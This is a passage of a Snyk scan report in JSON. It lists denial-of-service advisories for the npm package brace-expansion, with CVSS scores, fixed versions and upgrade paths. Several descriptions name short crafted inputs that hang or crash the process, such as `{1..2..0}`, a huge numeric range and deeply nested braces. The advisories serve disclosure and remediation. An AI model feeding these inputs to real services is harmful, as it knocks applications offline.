version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", 